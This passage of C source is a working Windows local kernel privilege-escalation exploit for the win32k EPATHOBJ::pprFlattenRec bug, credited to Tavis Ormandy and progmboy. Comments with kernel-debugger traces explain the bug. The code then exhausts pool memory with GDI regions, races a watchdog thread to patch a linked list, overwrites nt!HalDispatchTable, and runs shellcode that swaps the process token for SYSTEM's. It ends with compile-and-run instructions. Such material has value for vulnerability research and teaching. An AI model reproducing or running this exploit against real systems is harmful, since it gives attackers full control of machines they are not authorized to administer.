// if ( !ppr )
|
||||
// goto LABEL_2;
|
||||
// }
|
||||
// }
|
||||
// pathobj->fl &= 0xFFFFFFFE;
|
||||
// result = 1;
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// LABEL_2:
|
||||
// result = 0;
|
||||
// }
|
||||
// return result;
|
||||
// }
|
||||
//
|
||||
// All we have to do is allocate our own PATHRECORD structure, and then spam
|
||||
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
|
||||
// pointers shifted right by 4 (for this reason the structure must be aligned so
|
||||
// the bits shifted out are all zero).
|
||||
//
|
||||
// We can see this in action by putting a breakpoint in bFlatten when ppr has
|
||||
// moved into userspace:
|
||||
//
|
||||
// kd> u win32k!EPATHOBJ::bFlatten
|
||||
// win32k!EPATHOBJ::bFlatten:
|
||||
// 95c92517 8bff mov edi,edi
|
||||
// 95c92519 56 push esi
|
||||
// 95c9251a 8bf1 mov esi,ecx
|
||||
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
|
||||
// 95c9251f 85c0 test eax,eax
|
||||
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
|
||||
// 95c92523 33c0 xor eax,eax
|
||||
// 95c92525 5e pop esi
|
||||
// kd> u
|
||||
// win32k!EPATHOBJ::bFlatten+0xf:
|
||||
// 95c92526 c3 ret
|
||||
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
|
||||
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
|
||||
// 95c92532 50 push eax
|
||||
// 95c92533 8bce mov ecx,esi
|
||||
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
|
||||
//
|
||||
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
|
||||
// flags (defined in winddi.h). Let's break if it's in userspace:
|
||||
//
|
||||
// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
|
||||
// kd> g
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h
|
||||
// kd> r
|
||||
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
|
||||
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
|
||||
// win32k!EPATHOBJ::bFlatten+0x15:
|
||||
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
|
||||
//
|
||||
// The question is how to turn that into code execution? It's obviously trivial to
|
||||
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
|
||||
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
|
||||
// poses a problem.
|
||||
//
|
||||
// Let me demonstrate calling it with my own PATHRECORD:
|
||||
//
|
||||
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
|
||||
// // pathrecord chain.
|
||||
// PathRecord = VirtualAlloc(NULL,
|
||||
// sizeof(PATHRECORD),
|
||||
// MEM_COMMIT | MEM_RESERVE,
|
||||
// PAGE_EXECUTE_READWRITE);
|
||||
//
|
||||
// // Initialise with recognisable debugging values.
|
||||
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
|
||||
//
|
||||
// PathRecord->next = (PVOID)(0x41414141);
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
//
|
||||
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
|
||||
// // EPATHOBJ::bFlatten(), do that here.
|
||||
// PathRecord->flags = PD_BEZIERS;
|
||||
//
|
||||
// // Generate a large number of Bezier Curves made up of pointers to our
|
||||
// // PATHRECORD object.
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
|
||||
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
|
||||
// PointTypes[PointNum] = PT_BEZIERTO;
|
||||
// }
|
||||
//
|
||||
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
|
||||
// kd> g
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x28:
|
||||
// 95c922c2 33c0 xor eax,eax
|
||||
// kd> dd ebp+8 L1
|
||||
// a3633be0 00130000
|
||||
//
|
||||
// The ppr object is in userspace! If we peek at it:
|
||||
//
|
||||
// kd> dd poi(ebp+8)
|
||||
// 00130000 41414141 42424242 00000010 cccccccc
|
||||
// 00130010 00000000 00000000 00000000 00000000
|
||||
// 00130020 00000000 00000000 00000000 00000000
|
||||
// 00130030 00000000 00000000 00000000 00000000
|
||||
// 00130040 00000000 00000000 00000000 00000000
|
||||
// 00130050 00000000 00000000 00000000 00000000
|
||||
// 00130060 00000000 00000000 00000000 00000000
|
||||
// 00130070 00000000 00000000 00000000 00000000
|
||||
//
|
||||
// There's the next and prev pointer.
|
||||
//
|
||||
// kd> kvn
|
||||
// # ChildEBP RetAddr Args to Child
|
||||
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
|
||||
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
|
||||
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
|
||||
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
|
||||
//
|
||||
// The question is how to get PATHALLOC() to succeed under memory pressure so we
|
||||
// can make this exploitable? I'm quite proud of this list cycle trick,
|
||||
// here's how to turn it into an arbitrary write.
|
||||
//
|
||||
// First, we create a watchdog thread that will patch the list atomically
|
||||
// when we're ready. This is needed because we can't exploit the bug while
|
||||
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
|
||||
//
|
||||
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
|
||||
// .text:BFA122BD cmp eax, 1 ; Check for failure
|
||||
// .text:BFA122C0 jz short continue
|
||||
// .text:BFA122C2 xor eax, eax ; Exit early
|
||||
// .text:BFA122C4 jmp early_exit
|
||||
//
|
||||
// So we create a list node like this:
|
||||
//
|
||||
// PathRecord->Next = PathRecord;
|
||||
// PathRecord->Flags = 0;
|
||||
//
|
||||
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
|
||||
//
|
||||
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
|
||||
// {
|
||||
// /* ... */
|
||||
//
|
||||
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
|
||||
// {
|
||||
// if ( ppr->flags & PD_BEZIER )
|
||||
// {
|
||||
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// /* ... */
|
||||
// }
|
||||
//
|
||||
// While it's spinning, we clean up in another thread, then patch the thread (we
|
||||
// can do this, because it's now in userspace) to trigger the exploit. The first
|
||||
// block of pprFlattenRec does something like this:
|
||||
//
|
||||
// if ( pprNew->pprPrev )
|
||||
// pprNew->pprPrev->pprnext = pprNew;
|
||||
//
|
||||
// Let's make that write to 0xCCCCCCCC.
|
||||
//
|
||||
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
|
||||
// {
|
||||
//
|
||||
// // This routine waits for a mutex object to timeout, then patches the
|
||||
// // compromised linked list to point to an exploit. We need to do this.
|
||||
// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
|
||||
// GetCurrentThreadId(),
|
||||
// Mutex);
|
||||
//
|
||||
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
|
||||
// // It looks like the main thread is stuck in a call to FlattenPath(),
|
||||
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
|
||||
// // up, and then patch the list to trigger our exploit.
|
||||
// while (NumRegion--)
|
||||
// DeleteObject(Regions[NumRegion]);
|
||||
//
|
||||
// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
|
||||
//
|
||||
// } else {
|
||||
// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
|
||||
// }
|
||||
//
|
||||
// return 0;
|
||||
// }
|
||||
//
|
||||
// PathRecord->next = PathRecord;
|
||||
// PathRecord->prev = (PVOID)(0x42424242);
|
||||
// PathRecord->flags = 0;
|
||||
//
|
||||
// ExploitRecord.next = NULL;
|
||||
// ExploitRecord.prev = 0xCCCCCCCC;
|
||||
// ExploitRecord.flags = PD_BEZIERS;
|
||||
//
|
||||
// Here's the output on Windows 8:
|
||||
//
|
||||
// kd> g
|
||||
// *******************************************************************************
|
||||
// * *
|
||||
// * Bugcheck Analysis *
|
||||
// * *
|
||||
// *******************************************************************************
|
||||
//
|
||||
// Use !analyze -v to get detailed debugging information.
|
||||
//
|
||||
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
|
||||
// *** WARNING: Unable to verify checksum for ComplexPath.exe
|
||||
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
|
||||
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
|
||||
//
|
||||
// Followup: MachineOwner
|
||||
// ---------
|
||||
//
|
||||
// nt!RtlpBreakWithStatusInstruction:
|
||||
// 810f46f4 cc int 3
|
||||
// kd> kv
|
||||
// ChildEBP RetAddr Args to Child
|
||||
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
|
||||
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
|
||||
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
|
||||
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
|
||||
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
|
||||
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
|
||||
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
|
||||
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
|
||||
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
|
||||
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
|
||||
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
|
||||
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
|
||||
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
|
||||
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
|
||||
// WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
|
||||
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
|
||||
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
|
||||
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
|
||||
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
|
||||
// kd> .trap a03aba2c
|
||||
// ErrCode = 00000002
|
||||
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
|
||||
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
|
||||
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
|
||||
// win32k!EPATHOBJ::pprFlattenRec+0x82:
|
||||
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
|
||||
// kd> vertarget
|
||||
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
|
||||
// Product: WinNt, suite: TerminalServer SingleUserTS
|
||||
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
|
||||
// Machine Name:
|
||||
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
|
||||
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
|
||||
// System Uptime: 0 days 0:02:30.432
|
||||
// kd> .bugcheck
|
||||
// Bugcheck code 00000050
|
||||
// Arguments cccccccc 00000001 8f18972e 00000002
|
||||
//
|
||||
// EXPLOITATION
|
||||
//
|
||||
// We're somewhat limited with what we can do, as we don't control what's
|
||||
// written, it's always a pointer to a PATHRECORD object. We can clobber a
|
||||
// function pointer, but the problem is making it point somewhere useful.
|
||||
//
|
||||
// The solution is to make the Next pointer a valid sequence of instructions,
|
||||
// which jumps to our second stage payload. We have to do that in just 4 bytes
|
||||
// (unless you can find a better call site, let me know if you spot one).
|
||||
//
|
||||
// Thanks to progmboy for coming up with the solution: you reach back up the
|
||||
// stack and pull a SystemCall parameter out of the stack. It turns out
|
||||
// NtQueryIntervalProfile matches this requirement perfectly.
|
||||
//
|
||||
// INSTRUCTIONS
|
||||
//
|
||||
// C:\> cl ComplexPath.c
|
||||
// C:\> ComplexPath
|
||||
//
|
||||
// You might need to run it several times before we get the allocation we need,
|
||||
// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
|
||||
// to improve that.
|
||||
//
|
||||
// CREDIT
|
||||
//
|
||||
// Tavis Ormandy <taviso@cmpxchg8b.com>
|
||||
// progmboy <programmeboy@gmail.com>
|
||||
//
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef __success(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
// Search the specified data structure for a member with CurrentValue.
|
||||
BOOL FindAndReplaceMember(PDWORD Structure,
|
||||
DWORD CurrentValue,
|
||||
DWORD NewValue,
|
||||
DWORD MaxSize)
|
||||
{
|
||||
DWORD i, Mask;
|
||||
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting.
|
||||
Mask = ~7;
|
||||
|
||||
// Mask out the reference count.
|
||||
CurrentValue &= Mask;
|
||||
|
||||
// Scan the structure for any occurrence of CurrentValue.
|
||||
for (i = 0; i < MaxSize; i++) {
|
||||
if ((Structure[i] & Mask) == CurrentValue) {
|
||||
// And finally, replace it with NewValue.
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
|
||||
ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
|
||||
{
|
||||
PVOID TargetProcess;
|
||||
|
||||
// Record that the exploit completed.
|
||||
ComplexPathFinished = 1;
|
||||
|
||||
// Fix the corrupted HalDispatchTable,
|
||||
HalDispatchTable[1] = HalQuerySystemInformation;
|
||||
|
||||
// Find the EPROCESS structure for the process I want to escalate
|
||||
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
|
||||
PACCESS_TOKEN SystemToken;
|
||||
PACCESS_TOKEN TargetToken;
|
||||
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
|
||||
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
FindAndReplaceMember((PDWORD) TargetProcess,
|
||||
(DWORD) TargetToken,
|
||||
(DWORD) SystemToken,
|
||||
0x200);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI WatchdogThread(LPVOID Parameter)
|
||||
{
|
||||
// Here we wait for the main thread to get stuck inside FlattenPath().
|
||||
WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
|
||||
|
||||
// It looks like we've taken control of the list, and the main thread
|
||||
// is spinning in EPATHOBJ::bFlatten. We can't continue because
|
||||
// EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
|
||||
|
||||
// So first, we clean up and make sure it can allocate memory.
|
||||
while (ComplexPathNumRegion) DeleteObject(Regions[--ComplexPathNumRegion]);
|
||||
|
||||
// Now we switch out the Next pointer for our exploit record. As soon
|
||||
// as this completes, the main thread will stop spinning and continue
|
||||
// into EPATHOBJ::pprFlattenRec.
|
||||
InterlockedExchangePointer(&PathRecord->next,
|
||||
&ExploitRecord);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// I use this routine to generate a table of acceptable stub addresses. The
|
||||
// 0x40 offset is the location of the PULONG parameter to
|
||||
// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
|
||||
// trick.
|
||||
VOID __declspec(naked) HalDispatchRedirect(VOID)
|
||||
{
|
||||
__asm inc eax
|
||||
__asm jmp dword ptr [ebp+0x40]; // 0
|
||||
__asm inc ecx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 1
|
||||
__asm inc edx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 2
|
||||
__asm inc ebx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 3
|
||||
__asm inc esi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 4
|
||||
__asm inc edi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 5
|
||||
__asm dec eax
|
||||
__asm jmp dword ptr [ebp+0x40]; // 6
|
||||
__asm dec ecx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 7
|
||||
__asm dec edx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 8
|
||||
__asm dec ebx
|
||||
__asm jmp dword ptr [ebp+0x40]; // 9
|
||||
__asm dec esi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 10
|
||||
__asm dec edi
|
||||
__asm jmp dword ptr [ebp+0x40]; // 11
|
||||
|
||||
// Mark end of table.
|
||||
__asm {
|
||||
_emit 0
|
||||
_emit 0
|
||||
_emit 0
|
||||
_emit 0
|
||||
}
|
||||
}
|
||||
|
||||
VOID elevator_complex_path()
|
||||
{
|
||||
HANDLE Thread;
|
||||
HDC Device;
|
||||
ULONG Size;
|
||||
ULONG PointNum;
|
||||
HMODULE KernelHandle;
|
||||
PULONG DispatchRedirect;
|
||||
PULONG Interval;
|
||||
ULONG SavedInterval;
|
||||
RTL_PROCESS_MODULES ModuleInfo;
|
||||
|
||||
LogMessage(L_INFO, "\r--------------------------------------------------\n"
|
||||
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
|
||||
"\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
|
||||
"\n");
|
||||
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
|
||||
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
|
||||
Mutex = CreateMutex(NULL, FALSE, NULL);
|
||||
DispatchRedirect = (PVOID) HalDispatchRedirect;
|
||||
Interval = (PULONG) ShellCode;
|
||||
SavedInterval = Interval[0];
|
||||
//TargetPid = (PULONG)2032;
|
||||
TargetPid = (PULONG)GetCurrentProcessId();
|
||||
|
||||
LogMessage(L_INFO, "NtQueryIntervalProfile@%p", NtQueryIntervalProfile);
|
||||
LogMessage(L_INFO, "NtQuerySystemInformation@%p", NtQuerySystemInformation);
|
||||
|
||||
// Lookup the address of system modules.
|
||||
NtQuerySystemInformation(SystemModuleInformation,
|
||||
&ModuleInfo,
|
||||
sizeof ModuleInfo,
|
||||
NULL);
|
||||
|
||||
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
|
||||
ModuleInfo.Modules[0].FullPathName,
|
||||
ModuleInfo.Modules[0].ImageBase);
|
||||
|
||||
// Lookup some system routines we require.
|
||||
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
|
||||
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
|
||||
// Search for a ret instruction to install in the damaged HalDispatchTable.
|
||||
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
|
||||
- (ULONG) KernelHandle
|
||||
+ (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
|
||||
LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
|
||||
|
||||
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
|
||||
// pathrecord chain.
|
||||
PathRecord = VirtualAlloc(NULL,
|
||||
sizeof *PathRecord,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
LogMessage(L_INFO, "Allocated userspace PATHRECORD@%p", PathRecord);
|
||||
|
||||
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
|
||||
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
|
||||
// loop in EPATHOBJ::bFlatten().
|
||||
PathRecord->flags = 0;
|
||||
PathRecord->next = PathRecord;
|
||||
PathRecord->prev = (PPATHRECORD)(0x42424242);
|
||||
|
||||
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
|
||||
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
|
||||
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
|
||||
|
||||
// Now we need to create a PATHRECORD at an address that is also a valid
|
||||
// x86 instruction, because the pointer will be interpreted as a function.
|
||||
// I've created a list of candidates in DispatchRedirect.
|
||||
LogMessage(L_INFO, "Searching for an available stub address...");
|
||||
|
||||
// I need to map at least two pages to guarantee the whole structure is
|
||||
// available.
|
||||
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
|
||||
PAGE_SIZE * 2,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE)) {
|
||||
|
||||
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
|
||||
*DispatchRedirect & ~(PAGE_SIZE - 1),
|
||||
GetLastError());
|
||||
|
||||
// This page is not available, try the next candidate.
|
||||
if (!*++DispatchRedirect) {
|
||||
LogMessage(L_ERROR, "No redirect candidates left, sorry!");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
LogMessage(L_INFO, "Success, ExploitRecordExit@%#0x", *DispatchRedirect);
|
||||
|
||||
// This PATHRECORD must terminate the list and recover.
|
||||
ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
|
||||
ExploitRecordExit->next = NULL;
|
||||
ExploitRecordExit->prev = NULL;
|
||||
ExploitRecordExit->flags = PD_BEGINSUBPATH;
|
||||
ExploitRecordExit->count = 0;
|
||||
|
||||
LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);
|
||||
LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);
|
||||
LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);
|
||||
|
||||
// This is the second stage PATHRECORD, which causes a fresh PATHRECORD
|
||||
// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
|
||||
// be copied over to the new record. Therefore, we get
|
||||
//
|
||||
// nt!HalDispatchTable[1] = &ExploitRecordExit.
|
||||
//
|
||||
// So we make &ExploitRecordExit a valid sequence of instuctions here.
|
||||
LogMessage(L_INFO, "ExploitRecord@%#0x", &ExploitRecord);
|
||||
|
||||
ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
|
||||
ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
|
||||
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
|
||||
ExploitRecord.count = 4;
|
||||
|
||||
LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);
|
||||
LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);
|
||||
LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);
|
||||
|
||||
LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
|
||||
|
||||
// Generate a large number of Belier Curves made up of pointers to our
|
||||
// PATHRECORD object.
|
||||
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
|
||||
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
|
||||
PointTypes[PointNum] = PT_BEZIERTO;
|
||||
}
|
||||
|
||||
// Switch to a dedicated desktop so we don't spam the visible desktop with
|
||||
// our Lines (Not required, just stops the screen from redrawing slowly).
|
||||
SetThreadDesktop(CreateDesktop("DontPanic",
|
||||
NULL,
|
||||
NULL,
|
||||
0,
|
||||
GENERIC_ALL,
|
||||
NULL));
|
||||
|
||||
// Get a handle to this Desktop.
|
||||
Device = GetDC(NULL);
|
||||
|
||||
// Take ownership of Mutex
|
||||
WaitForSingleObject(Mutex, INFINITE);
|
||||
|
||||
// Spawn a thread to cleanup
|
||||
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
|
||||
|
||||
LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
|
||||
|
||||
// We need to cause a specific AllocObject() to fail to trigger the
|
||||
// exploitable condition. To do this, I create a large number of rounded
|
||||
// rectangular regions until they start failing. I don't think it matters
|
||||
// what you use to exhaust paged memory, there is probably a better way.
|
||||
//
|
||||
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
|
||||
// failure. Seriously, do some damn QA Microsoft, wtf.
|
||||
for (Size = 1 << 26; Size; Size >>= 1) {
|
||||
while (Regions[ComplexPathNumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
||||
ComplexPathNumRegion++;
|
||||
}
|
||||
|
||||
LogMessage(L_INFO, "Allocated %u HRGN objects", ComplexPathNumRegion);
|
||||
|
||||
LogMessage(L_INFO, "Flattening curves...");
|
||||
|
||||
for (PointNum = MAX_POLYPOINTS; PointNum && !ComplexPathFinished; PointNum -= 3) {
|
||||
BeginPath(Device);
|
||||
PolyDraw(Device, Points, PointTypes, PointNum);
|
||||
EndPath(Device);
|
||||
FlattenPath(Device);
|
||||
FlattenPath(Device);
|
||||
|
||||
// Test if exploitation succeeded.
|
||||
NtQueryIntervalProfile(ProfileTotalIssues, Interval);
|
||||
|
||||
// Repair any damage.
|
||||
*Interval = SavedInterval;
|
||||
|
||||
EndPath(Device);
|
||||
}
|
||||
|
||||
if (ComplexPathFinished) {
|
||||
LogMessage(L_INFO, "Success...", ComplexPathFinished);
|
||||
//ExitProcess(0);
|
||||
return;
|
||||
}
|
||||
|
||||
// If we reach here, we didn't trigger the condition. Let the other thread know.
|
||||
ReleaseMutex(Mutex);
|
||||
WaitForSingleObject(Thread, INFINITE);
|
||||
ReleaseDC(NULL, Device);
|
||||
|
||||
// Try again...
|
||||
LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
|
||||
//ExitProcess(1);
|
||||
return;
|
||||
}
|
||||
|
||||
// A quick logging routine for debug messages.
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||
{
|
||||
CHAR Buffer[1024] = {0};
|
||||
va_list Args;
|
||||
|
||||
va_start(Args, Format);
|
||||
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
|
||||
va_end(Args);
|
||||
|
||||
switch (Level) {
|
||||
case L_DEBUG: dprintf( "[?] %s\n", Buffer); break;
|
||||
case L_INFO: dprintf( "[+] %s\n", Buffer); break;
|
||||
case L_WARN: dprintf( "[*] %s\n", Buffer); break;
|
||||
case L_ERROR: dprintf( "[!] %s\n", Buffer); break;
|
||||
}
|
||||
|
||||
//fflush(stdout);
|
||||
//flush(stderr);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
extern HINSTANCE hAppInstance;
|
||||
